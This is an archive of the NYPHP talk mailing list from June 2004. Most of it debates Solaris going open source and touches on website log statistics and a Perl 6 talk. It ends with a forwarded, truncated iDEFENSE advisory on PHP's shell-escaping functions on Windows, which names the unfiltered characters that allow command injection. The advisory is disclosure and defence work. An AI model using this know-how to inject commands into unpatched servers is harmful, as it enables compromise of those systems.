Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From csnyder at chxo.com Fri Jun 4 17:07:24 2004 From: csnyder at chxo.com (Chris Snyder) Date: Fri, 04 Jun 2004 17:07:24 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <002701c44a75$242c0430$e98d3818@oberon1> References: <002701c44a75$242c0430$e98d3818@oberon1> Message-ID: <40C0E48C.1030809@chxo.com> Tim Gales wrote: >"Sun Microsystems Inc. this week formally committed itself >to releasing Solaris operating system code as open source, >but no final decisions have been made on the specific details..." > Holy moly. Just read on /. that Java is to be open (someday!) as well. From jlacey at att.net Fri Jun 4 17:29:28 2004 From: jlacey at att.net (John Lacey) Date: Fri, 04 Jun 2004 15:29:28 -0600 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C0E48C.1030809@chxo.com> References: <002701c44a75$242c0430$e98d3818@oberon1> <40C0E48C.1030809@chxo.com> Message-ID: <40C0E9B8.7070907@att.net> Chris Snyder wrote: > Tim Gales wrote: > >> "Sun Microsystems Inc. this week formally committed itself to >> releasing Solaris operating system code as open source, but no final >> decisions have been made on the specific details..." >> > Holy moly. > Just read on /. that Java is to be open (someday!) as well. also, you can download SuSE 9.1 for free now.. but dunno if it's the pro version or what... >From hans not junk at nyphp.com Fri Jun 4 19:36:31 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 71FC0A85F0 for ; Fri, 4 Jun 2004 19:36:31 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] OT: Solaris is going open source Date: Fri, 4 Jun 2004 16:36:29 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CF3E6 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] OT: Solaris is going open source Thread-Index: AcRKdSwG1hdZLhRkSgaWK4Ugj8XJhQAFpLFg From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jun 2004 23:36:31 -0000 > "Sun Microsystems Inc. this week formally committed itself to=20 > releasing Solaris operating system code as open source, but=20 > no final decisions have been made on the specific details..." "... no final decisions have been made on the specific details..." Call me pessimistic, but I read that as "...we'll release 1% of our code because we want the marketing buzz that surrounds Open Source to surround us since we're loosing market share left and right..." I hope that I'm wrong, since there's some good stuff deep within Solaris' code base, but it's going to mean a major shift for Sun. That said, if they are legit and do release the entire tree, watch out Linux. H From danielc at analysisandsolutions.com Fri Jun 4 20:13:47 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Fri, 4 Jun 2004 20:13:47 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF9BAB.5020704@optonline.net> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> Message-ID: <20040605001346.GA3318@panix.com> Hi Jeff: On Thu, Jun 03, 2004 at 05:44:11PM -0400, Jeff Siegel wrote: > The problem seems to be that some things are not making it into the logs So, are you looking at the raw http logs from Apache? Or are you looking at stuff the ISP produces for you? ... snip, you do know how to snip, right Jeff? ... --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 >From hans not junk at nyphp.com Fri Jun 4 20:33:17 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 13C0EA85F0 for ; Fri, 4 Jun 2004 20:33:17 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] PHP/Bluetooth/Serial Date: Fri, 4 Jun 2004 17:33:13 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CF411 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] PHP/Bluetooth/Serial Thread-Index: AcRKVKT/JknpCP0DRaqlXXfRYiArxwAP+9VA From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jun 2004 00:33:17 -0000 > btw i had it bookmarked and lost it and cant find it off zend=20 > but there was a page with php4 v. php5 changes for module=20 > structure, any idea where that is? can a few DEFINES make a=20 > module run 4+5? I kinda of think that might work, but am not quite sure either. If anyone can dig that up, I'd like to see it, too. H From tgales at tgaconnect.com Fri Jun 4 20:45:07 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 4 Jun 2004 20:45:07 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <41EE526EC2D3C74286415780D3BA9F87025CF3E6@ehost011-1.exch011.intermedia.net> Message-ID: <002b01c44a96$59978ab0$e98d3818@oberon1> Hans Zaunere writes: > > "Sun Microsystems Inc. this week formally committed itself to > > releasing Solaris operating system code as open source, but > > no final decisions have been made on the specific details..." > > "... no final decisions have been made on the specific details..." > > Call me pessimistic, but I read that as "...we'll release 1% > of our code because we want the marketing buzz that surrounds > Open Source to surround us since we're loosing market share > left and right..." > > I hope that I'm wrong, since there's some good stuff deep > within Solaris' code base, but it's going to mean a major > shift for Sun. That said, if they are legit and do release > the entire tree, watch out Linux. > Oh yeah -- they are going to release the whole tree. One thing of interest could be 'Solaris Doors' -- and the thread pools which support doors. There was an (ill-fated) emulation attempt: http://ldoor.sourceforge.net/ ) excerpted from the above link: "Goal of Linux Doors (ldoor) project is to implement Solaris doors API under Linux. Doors are fast intra-machine RPC interface. Implementation consists of kernel part (written as device driver) and user-level library emulating Solaris calls..." After you 'harden' Solaris it can be made incredibly secure. If you add that all up -- almost air-tight security, superior threading model (in the kernel), and super speedy nfs i/o -- I would say watch out Linux *and* BSD T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com > From leam at reuel.net Sat Jun 5 04:22:05 2004 From: leam at reuel.net (leam) Date: Sat, 05 Jun 2004 04:22:05 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <002b01c44a96$59978ab0$e98d3818@oberon1> References: <002b01c44a96$59978ab0$e98d3818@oberon1> Message-ID: <40C182AD.6080409@reuel.net> Tim Gales wrote: > Hans Zaunere writes: >>I hope that I'm wrong, since there's some good stuff deep >>within Solaris' code base, but it's going to mean a major >>shift for Sun. That said, if they are legit and do release >>the entire tree, watch out Linux. >> > If you add that all up -- almost air-tight security, superior > threading model (in the kernel), and super speedy nfs i/o -- > I would say watch out Linux *and* BSD Nyah, both Linux and *BSD are superior products. First, Linux has a much better developer base and the entry point for contributions is much lower. You only need low-end x86 hardware and you're off. Plus, Linux makes a better desktop experience; more user apps are written for it. NetBSD (my favorite of the lot) is a much cleaner code base and more platforms, thus more places to use it. Solaris really doesn't seem to offer any value in the low-medium end server market or the desktop. It may be nice for a few high end uses but I think it more likely that people will read the code and spend time porting the concepts to Linux and *BSD than converting to Solaris. With the push for web-based apps and db backends you seldom need bigger boxes like the 8+ CPU models. And if you need 1, you need at least 2 to provide uptime and redundancy. And if you need 2 you need 4; 2 for production, 1 for developing code and 1 for heavy QA testing Better to have 4-8 smaller boxes with a shared load. Although I admit admin'ing 2 boxes is easier than 8. :) You also need to look at the job market; most jobs are in small businesses that can better justify a uniform platform provider like Dell or Compaq/HP than some Sun and some x86. Your Linux skills are going to find more opportunities. Of course, as this is a PHP list your AMP skills will be more in demand everywhere and you just need to know how to get the sysadmin up to speed on their particualr platform's support of AMP. :) ciao! leam From adam at digitalpulp.com Sat Jun 5 09:36:55 2004 From: adam at digitalpulp.com (Adam Fields) Date: Sat, 05 Jun 2004 09:36:55 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C182AD.6080409@reuel.net> References: <002b01c44a96$59978ab0$e98d3818@oberon1> <40C182AD.6080409@reuel.net> Message-ID: <40C1CC77.6030309@digitalpulp.com> leam wrote: > Nyah, both Linux and *BSD are superior products. First, Linux has a much > better developer base and the entry point for contributions is much > lower. You only need low-end x86 hardware and you're off. Plus, Linux There >is< an x86 version of Solaris. It doesn't have quite the same level of hardware support as Linux, but for some things, it's vastly superior. It has a number of proponents that swear by it. > makes a better desktop experience; more user apps are written for it. For now, but this falls down in two ways - anything that's compiled can be cross-compiled, and there's no reason you can't add linux binary compatibility to Solaris, as some of the BSDs have done. > NetBSD (my favorite of the lot) is a much cleaner code base and more > platforms, thus more places to use it. > > Solaris really doesn't seem to offer any value in the low-medium end > server market or the desktop. It may be nice for a few high end uses but > I think it more likely that people will read the code and spend time > porting the concepts to Linux and *BSD than converting to Solaris. I think it'll be some combination of the two, but I suspect that it'll be easier to port the user apps to Solaris than to incorporate the advantages Solaris has into the Linux kernel. > With the push for web-based apps and db backends you seldom need bigger > boxes like the 8+ CPU models. And if you need 1, you need at least 2 to > provide uptime and redundancy. And if you need 2 you need 4; 2 for > production, 1 for developing code and 1 for heavy QA testing Better to > have 4-8 smaller boxes with a shared load. Although I admit admin'ing 2 > boxes is easier than 8. :) I'm not familiar with the specifics, but I'd assume that some of the enhancements that Sun came up with for multi-processor support will also apply to distributed cluster implementations, and that Sun hasn't gone that way because up until very recently, they've had a vested interest in getting people to buy large SMP servers. > You also need to look at the job market; most jobs are in small > businesses that can better justify a uniform platform provider like Dell > or Compaq/HP than some Sun and some x86. Your Linux skills are going to > find more opportunities. Of course, as this is a PHP list your AMP > skills will be more in demand everywhere and you just need to know how > to get the sysadmin up to speed on their particualr platform's support > of AMP. :) Well... MySQL on Solaris is currently less fun. From tgales at tgaconnect.com Sat Jun 5 13:01:53 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Sat, 5 Jun 2004 13:01:53 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C1CC77.6030309@digitalpulp.com> Message-ID: <000901c44b1e$ce991ee0$e98d3818@oberon1> > On Behalf Of Adam Fields > Sent: Saturday, June 05, 2004 9:37 AM > To: NYPHP Talk > Subject: Re: [nycphp-talk] OT: Solaris is going open source > > > leam wrote: > > Nyah, both Linux and *BSD are superior products. First, Linux has a > > much > > better developer base and the entry point for contributions is much > > lower. You only need low-end x86 hardware and you're off. > Plus, Linux > > There >is< an x86 version of Solaris. It doesn't have quite the same > level of hardware support as Linux, but for some things, it's vastly > superior. It has a number of proponents that swear by it. You can get solaris 10 for for free here: http://wwws.sun.com/software/solaris/10/ One year of support costs $99. (I think -- at least that was the price for Solaris 9 as I recall) DTrace looks intersting. (Sun marketing hype: "DTrace is a sophisticated and powerful new technology which enables a system administrator to explore today's complex systems to understand how they work and ultimately to track down performance problems across many layers of software.") As to 'the same level of hardware support' -- http://www.sun.com/bigadmin/hcl/ has a hardware compatibility list. Frankly, I don't care if an OS supports 30 different network adapters -- just mine. > > > makes a better desktop experience; more user apps are > written for it. Don't agree with you there, Leam, for a better destop experience -- just throw on what ever 'happy face' (desktop environment) floats your boat. > > For now, but this falls down in two ways - anything that's > compiled can > be cross-compiled, and there's no reason you can't add linux binary > compatibility to Solaris, as some of the BSDs have done. > > > NetBSD (my favorite of the lot) is a much cleaner code base and more > > platforms, thus more places to use it. > > > > Solaris really doesn't seem to offer any value in the low-medium end > > server market or the desktop. It may be nice for a few high $100 bucks for commercial support seems like a pretty good value to me. I think that is less money than Red Hat (Linux) charges. > end uses but > > I think it more likely that people will read the code and > spend time > > porting the concepts to Linux and *BSD than converting to Solaris. > > I think it'll be some combination of the two, but I suspect > that it'll > be easier to port the user apps to Solaris than to incorporate the > advantages Solaris has into the Linux kernel. > I agree with Adam here except for two things: one, I am under the impression that most significant apps are already ported or were done for Solaris first -- two, although it would generally seem better to incorporate whatever superior things (might) exist in Linux to Solaris -- I wouldn't overlook the fact that if SCO ever comes up with any real hard facts (specific lines of code) that they (SCO) want addressed (removed from the Linux kernel), Linux maintainers may find it expeditious to port what pieces they can from Solaris. I am certainly no authority on Unix kernels. Here, I am assuming SCO can't claim the rights to Sun's kernel and further I am guessing that since the Solaris kernel is unquestionably Unix-like, it would be close enough to the Linux kernel to provide some useful pieces where needed. > > With the push for web-based apps and db backends you seldom need > > bigger > > boxes like the 8+ CPU models. And if you need 1, you need > at least 2 to > > provide uptime and redundancy. And if you need 2 you need 4; 2 for > > production, 1 for developing code and 1 for heavy QA > testing Better to > > have 4-8 smaller boxes with a shared load. Although I admit > admin'ing 2 > > boxes is easier than 8. :) > > I'm not familiar with the specifics, but I'd assume that some of the > enhancements that Sun came up with for multi-processor > support will also > apply to distributed cluster implementations, and that Sun > hasn't gone > that way because up until very recently, they've had a vested > interest > in getting people to buy large SMP servers. > > > You also need to look at the job market; most jobs are in small > > businesses that can better justify a uniform platform > provider like Dell > > or Compaq/HP than some Sun and some x86. Your Linux skills > are going to > > find more opportunities. Of course, as this is a PHP list your AMP > > skills will be more in demand everywhere and you just need > to know how > > to get the sysadmin up to speed on their particualr > platform's support > > of AMP. :) > > Well... MySQL on Solaris is currently less fun. I'll take your word on that. Actually I am not a really big fan of (or advocate for) Solaris. The last time I used it on a PC was circa Solaris 8 -- and then only because I was forced to. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com >From hans not junk at nyphp.com Sat Jun 5 17:49:01 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 68E5AA85EA for ; Sat, 5 Jun 2004 17:49:01 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Sat, 5 Jun 2004 14:48:58 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F87025CF4E2 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [NYSA] Announcement: Perl 6 and Parrot talk onJune 9th Thread-Index: AcRKPc9ZJAxfB06iTBKH5jQMU6NTfwBCLzrQ From: "Hans Zaunere" To: "NYPHP Talk" Subject: [nycphp-talk] FW: [NYSA] Announcement: Perl 6 and Parrot talk onJune 9th X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jun 2004 21:49:01 -0000 You might be asking why I forwarded this announcement to a PHP list... There has been some work on porting PHP to the Parrot engine by Sterling and Theis. There are some interesting concepts here, so I thought it might be something of interest to PHPers. Afterall, scripting engines - whether it be Zend or Parrot - work on many of the same principles. Anyway, I unfortunately won't be in town for the meeting, but I hope some may find it useful. H > -----Original Message----- > From: nysa-members-request at hawk.com > Sent: Thursday, May 27, 2004 4:28 PM > To: nysa-members at nysa.org > Subject: [NYSA] Announcement: Perl 6 and Parrot talk on June 9th >=20 >=20 >=20 > We are pleased to announce that NYSA will be presenting a=20 > talk on Perl 6 and Parrot on June 9th. We intend to have this=20 > be the start of a new discussion series at NYSA and look=20 > forward to seeing you there. PLEASE remember to RSVP, details below. >=20 > MEETING DETAILS from http://www.nysa.org/meetings.html >=20 > DATE=20 >=20 > Wednesday, June 9th, 2004 > 6:30 pm to 6:45 pm - Announcements > 6:45 pm to 7:45 pm - Main Presentation > 7:45 pm to 9:00 pm - Open Floor > SPEAKER=20 >=20 > Josh Rabinowitz is a 13-year veteran of the software industry=20 > who cut his teeth at NASA Ames Research Center and at=20 > CNET.com and other web companies. He currently is an=20 > independent internet consultant and software developer in New=20 > York City, and the publisher of SkateboardDirectory.com,=20 > which aims to be your guide to skateboard sites on the Internet.=20 >=20 > TOPIC=20 >=20 > Perl 6 and Parrot=20 >=20 > Perl 6 is more than an incremental upgrade to the Perl 5.=20 > It's "the community's rewrite of perl", and seeks to add deep=20 > features and language changes while retaining backward=20 > compatibility with the huge code base of current perl=20 > software. While Perl 6 as a language is still in the design=20 > phase, many decisions are being made, and development is=20 > underway on Parrot, an underlying "virtual machine designed=20 > to execute bytecode for interpreted languages efficiently"=20 > that is intended to act as a platform for Perl 6, as well=20 > versions of Scheme, BASIC, Befunge, and other languages.=20 >=20 > In this talk Josh will cover why the world needs Perl 6, the=20 > over-arching Perl 6 design philosophies, some Perl 6 language=20 > features that are in discussion and how they differ from Perl=20 > 5, and new features that have no Perl 5 analog. Josh will=20 > also discuss Parrot's design, which is driven by three=20 > principles: speed, abstraction, and stability, and provide an=20 > overview of the current status of Perl 6 and Parrot.=20 >=20 > ***NEW LOCATION***=20 >=20 > Sun Microsystems Inc > Forth floor, Room 4140, "Grammercy Park"=20 > 101 Park Ave > New York, NY 10178-0001 > RSVP=20 >=20 > Please RSVP by sending an e-mail to rsvp at nysa.org with a=20 > subject line of "AUTO RSVP NYSA firstname lastname". The RSVP=20 > list will be given to building security. If you do not RSVP,=20 > you will not be able to attend this event. Please RSVP now if=20 > you plan to attend.=20 >=20 > PUBLIC TRANSPORTATION=20 >=20 > Sun Microsystems, is one block south of Grand Central, on the=20 > corner of Park Ave and 41st St.=20 >=20 > ************************************************************* > To unsubscribe from this list, send mail with the word=20 > unsubscribe in the body of the message to majordomo at nysa.org. > For administrivia or questions about NYSA, send mail to=20 > nysa-info at nysa.org. > Check out the NYSA web site at http://www.nysa.org > ************************************************************* > _______________________________________________ > nylug-announce mailing list > nylug-announce at mail.nylug.org > http://www.nylug.org/mailman/listinfo/nylug-announce >=20 >=20 From leam at reuel.net Sat Jun 5 19:39:11 2004 From: leam at reuel.net (leam) Date: Sat, 05 Jun 2004 19:39:11 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C1CC77.6030309@digitalpulp.com> References: <002b01c44a96$59978ab0$e98d3818@oberon1> <40C182AD.6080409@reuel.net> <40C1CC77.6030309@digitalpulp.com> Message-ID: <40C2599F.9090301@reuel.net> Adam Fields wrote: > leam wrote: > >> Nyah, both Linux and *BSD are superior products. First, Linux has a >> much better developer base and the entry point for contributions is >> much lower. You only need low-end x86 hardware and you're off. Plus, >> Linux > > > There >is< an x86 version of Solaris. It doesn't have quite the same > level of hardware support as Linux, but for some things, it's vastly > superior. It has a number of proponents that swear by it. Some people swear by screw-top wine bottles too. Wouldn't take that as a recommendation though. :) Vastly superior in what? Solaris does use a fairly modular kernel so you don't have to recompile to get new drivers. Of course that means you get all the hooks, you can't really compile out anything. I tried x86 Solaris a couple years ago, didn't care for it. Though newer Sparc hardware is becoing PCI based more and more. Hmm, actually it may be fully there already. So it's moving to where everyone else is. > >> makes a better desktop experience; more user apps are written for it. > > > For now, but this falls down in two ways - anything that's compiled can > be cross-compiled, and there's no reason you can't add linux binary > compatibility to Solaris, as some of the BSDs have done. Not everyone is as good about portable code, and you still have native issues to deal with. Most things in Solaris have had the possibility of 64 bits for a while, not sure how they translate to a 32 bit hardware platform. >> NetBSD (my favorite of the lot) is a much cleaner code base and more >> platforms, thus more places to use it. >> >> Solaris really doesn't seem to offer any value in the low-medium end >> server market or the desktop. It may be nice for a few high end uses >> but I think it more likely that people will read the code and spend >> time porting the concepts to Linux and *BSD than converting to Solaris. > > > I think it'll be some combination of the two, but I suspect that it'll > be easier to port the user apps to Solaris than to incorporate the > advantages Solaris has into the Linux kernel. I still havent' seen any Soalris based apps that don't run on Linux or *BSD. And for note, both of them run faster on sparc hardware than Solaris! > I'm not familiar with the specifics, but I'd assume that some of the > enhancements that Sun came up with for multi-processor support will also > apply to distributed cluster implementations, and that Sun hasn't gone > that way because up until very recently, they've had a vested interest > in getting people to buy large SMP servers. Sun cluster is a dog, avoid it. Same with Alternate pathing. Sun's position is that they want to sell 4-20 CPU boxes and have them run in parallel. You can use Oracle's multi-node stuff cluster or Vertias cluster, but Sun's is "warm standby" only. They're also happy if you buy a load-balanced solution. :) > Well... MySQL on Solaris is currently less fun. For me most anything on Solaris, except SCSI and logical volumes, is less fun. With x86 hardware and a tuned Linux/*BSD you can customize the OS to the server mission. There's a balance between server farms and single points of failure I won't say Linux is vastly superior to Solaris, but in a large number of respects it's better, to me. ciao! leam From leam at reuel.net Sat Jun 5 19:51:54 2004 From: leam at reuel.net (leam) Date: Sat, 05 Jun 2004 19:51:54 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <000901c44b1e$ce991ee0$e98d3818@oberon1> References: <000901c44b1e$ce991ee0$e98d3818@oberon1> Message-ID: <40C25C9A.8090806@reuel.net> Tim Gales wrote: >>On Behalf Of Adam Fields >>Sent: Saturday, June 05, 2004 9:37 AM >>To: NYPHP Talk >>Subject: Re: [nycphp-talk] OT: Solaris is going open source > As to 'the same level of hardware support' -- > > http://www.sun.com/bigadmin/hcl/ > > has a hardware compatibility list. > > Frankly, I don't care if an OS supports 30 different > network adapters -- just mine. That's the rub; if it works for you there's no need to improve it, is there? But if it's light weight and I can port it to my existing hardware I can use what I have and learn at the same time. When I did Solaris x86, for a thankfully short time, it had fairly high end requirements. We sometimes forget that much of the world doesn't have the resources to buy the extra hardware we take for granted. Linux/*BSD will provide for places outside of the US, and I think it will provide for the cost conscious in the US. The caveat here is that I've never done HPC or Mainframe support, the largest box I've supported is ~10 CPUs. There may well be computing needs I don't really understand. > > >>>makes a better desktop experience; more user apps are >> >>written for it. > > > Don't agree with you there, Leam, for a better destop experience -- > just throw on what ever 'happy face' (desktop environment) > floats your boat. Not really, GNOME on Solaris dind't do some of the characters right, when I'm logged in remotely as root on a production server, it had BETTER show me exactly what I'm typing. If i'd have been using a home-brew desktop I'd accept that behavior. But if it shipped in the CD set, no thanks. > $100 bucks for commercial support seems like a pretty good value to me. > I think that is less money than Red Hat (Linux) charges. Of course, a year or so ago they turned off x86 development and support and only recently restarted it. I think mostly because they need Microsoft's support so they are trying to compete with Linux as a sop to Bill Gates. That is, of course, my highly biased opinion. :) > I agree with Adam here except for two things: > > one, I am under the impression that most significant apps > are already ported or were done for Solaris first -- Ported for some things, but many vendors seem to be moving coder resources to Linux. > > two, although it would generally seem better to > incorporate whatever superior things (might) exist in > Linux to Solaris -- I wouldn't overlook the fact > that if SCO ever comes up with any real hard > facts (specific lines of code) that they (SCO) > want addressed (removed from the Linux kernel), Linux > maintainers may find it expeditious to port > what pieces they can from Solaris. > > I am certainly no authority on Unix kernels. Here, I am assuming > SCO can't claim the rights to Sun's kernel and further > I am guessing that since the Solaris kernel is unquestionably > Unix-like, it would be close enough to the Linux kernel to > provide some useful pieces where needed. As far as I've seen the SCO thing has no basis in fact. I'm not a lawyer, though. I also thought that the case referred to older code no longer used in the latest kernels. ciao! leam From sm11szw02 at sneakemail.com Sat Jun 5 20:03:04 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Sat, 05 Jun 2004 20:03:04 -0400 Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C25C9A.8090806@reuel.net> References: <000901c44b1e$ce991ee0$e98d3818@oberon1> <40C25C9A.8090806@reuel.net> Message-ID: <14807-88179@sneakemail.com> leam leam-at-reuel.net |nyphp 04/2004| wrote: > Tim Gales wrote: > >> $100 bucks for commercial support seems like a pretty good value to me. >> I think that is less money than Red Hat (Linux) charges. > > > Of course, a year or so ago they turned off x86 development and > support and only recently restarted it. I think mostly because they > need Microsoft's support so they are trying to compete with Linux as a > sop to Bill Gates. > > That is, of course, my highly biased opinion. :) Yeah, that sounds reasonable. It is strong M$ marketing style to lead actual work with grand announcements of "framework" and endpoints, in order to halt comittments, deter competitors, and seed emerging markets with doubt. Plus Sun doesn't have a stellar tech support history for other non-mainframe products (as highlighted here where they turned x86 support on and off, then on again, and of course I can't forgive them for the Cobalt fiasco). There's little doubt BSD is here to stay, and not much doubt about Linux either. Let's see Sun produce x86 support, offer paid support consistently over 5 years or so, and commit to OS past a point-of-no-return.... then maybe I'd consider it a factor in the OS development areas not currently flocking to Solaris. From jsiegel1 at optonline.net Sun Jun 6 10:30:22 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Sun, 06 Jun 2004 10:30:22 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <20040605001346.GA3318@panix.com> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> <20040605001346.GA3318@panix.com> Message-ID: <40C32A7E.3030706@optonline.net> > So, are you looking at the raw http logs from Apache? Or are you looking > at stuff the ISP produces for you? I've looked at both. I figured some stuff may get buried in the ISP's reports because the hit rate for the particular pages would be too low. However, searching through the logs didn't help at all...the last entry in the logs for the particular pages in question is March...and it's now June. Jeff Daniel Convissor wrote: > Hi Jeff: > > On Thu, Jun 03, 2004 at 05:44:11PM -0400, Jeff Siegel wrote: > >>The problem seems to be that some things are not making it into the logs > > > > ... snip, you do know how to snip, right Jeff? ... > > --Dan > From danielc at analysisandsolutions.com Sun Jun 6 11:12:01 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Sun, 6 Jun 2004 11:12:01 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40C32A7E.3030706@optonline.net> References: <40BF5785.1070209@omnistep.com> <40BF9BAB.5020704@optonline.net> <20040605001346.GA3318@panix.com> <40C32A7E.3030706@optonline.net> Message-ID: <20040606151201.GA13660@panix.com> Hi Jeff: On Sun, Jun 06, 2004 at 10:30:22AM -0400, Jeff Siegel wrote: > > However, searching through the logs didn't help at all...the last entry > in the logs for the particular pages in question is March...and it's now > June. I've never heard of hits missing in Apache's logs. Top that off with it missing, the same hit consistently for an extended period of time. I'm willing to bet that something changed in March. Perhaps an additional server? The page got renamed? An additional page got introduced which supplants the original one? This situation could be similar to the one you had several months ago where you had an old script lying around which unvalidated sumissions were coming from. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From adam at trachtenberg.com Mon Jun 7 12:46:31 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Mon, 7 Jun 2004 12:46:31 -0400 (EDT) Subject: [nycphp-talk] OT: Solaris is going open source In-Reply-To: <40C2599F.9090301@reuel.net> References: <002b01c44a96$59978ab0$e98d3818@oberon1> <40C182AD.6080409@reuel.net> <40C1CC77.6030309@digitalpulp.com> <40C2599F.9090301@reuel.net> Message-ID: On Sat, 5 Jun 2004, leam wrote: > Some people swear by screw-top wine bottles too. Wouldn't take that as a > recommendation though. :) Actually, screw-top wine bottles are cheaper, more effective, more useful, and better for the environment than ones using cork. The only reason the wine industry hasn't adopted them is legacy snobbery and public perception. There's been a transition to plastic "corks" in recent years. They're better than actual cork, and are seen as a transition mechanism to screw tops. It's still a tough sell in expensive wines. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From jonbaer at jonbaer.net Mon Jun 7 17:34:38 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 07 Jun 2004 17:34:38 -0400 Subject: [nycphp-talk] [Fwd: [Full-Disclosure] iDEFENSE Security Advisory 06.07.04: PHP Win32 escapeshellcmd() and escapeshellarg() Input Validation Vulnerability] Message-ID: <40C4DF6E.9000305@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Just FYI for those on W32 + haven't upgraded yet ... - - Jon - -------- Original Message -------- Subject: [Full-Disclosure] iDEFENSE Security Advisory 06.07.04: PHP Win32 escapeshellcmd() and escapeshellarg() Input Validation Vulnerability Date: Mon, 7 Jun 2004 15:19:29 -0400 From: idlabs-advisories at idefense.com Reply-To: customerservice at idefense.com To: PHP Win32 escapeshellcmd() and escapeshellarg() Input Validation Vulnerability iDEFENSE Security Advisory 06.07.04: www.idefense.com/application/poi/display?id=108&type=vulnerabilities June 7, 2004 I. BACKGROUND PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. More information is available at http://www.php.net. II. DESCRIPTION Remote exploitation of an input validation vulnerability in The PHP Group's HTML-embedded scripting language PHP allows attackers to bypass security protections. The problem specifically exists within the shell command escape routines escapeshellcmd() and escapeshellarg(). These routines are intended for escaping shell metacharacters that may be present in user-supplied data prior to passing them to command execution routines such as system(), passthru(), popen(), exec() or the backtick operator. While both filter routines are functional on the Unix platform, they fail to filter all characters on the Windows platform. The escapeshellcmd() routine fails to filter the characters '%|>', allowing attackers to access environment variables, redirect output and execute arbitrary commands. The escapeshellarg() routine fails to filter the character '%', allowing an attacker to access environment variables. III. ANALYSIS Exploitation allows attackers to compromise an affected system under the web server's privileges. Systems are not vulnerable by default, as a publicly accessible script must be present that utilizes one of the affected routines with user-supplied data. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in PHP version 4.3.6 running on Microsoft Windows platforms. It is suspected that previous versions are also vulnerable. V. WORKAROUND Pass user-supplied data through custom character filters implemented with str_replace() or preg_replace(). Example: ~ $user_supplied = preg_replace("/[>|%]/", "", $user_supplied); VI. VENDOR RESPONSE The input validation vulnerability inside 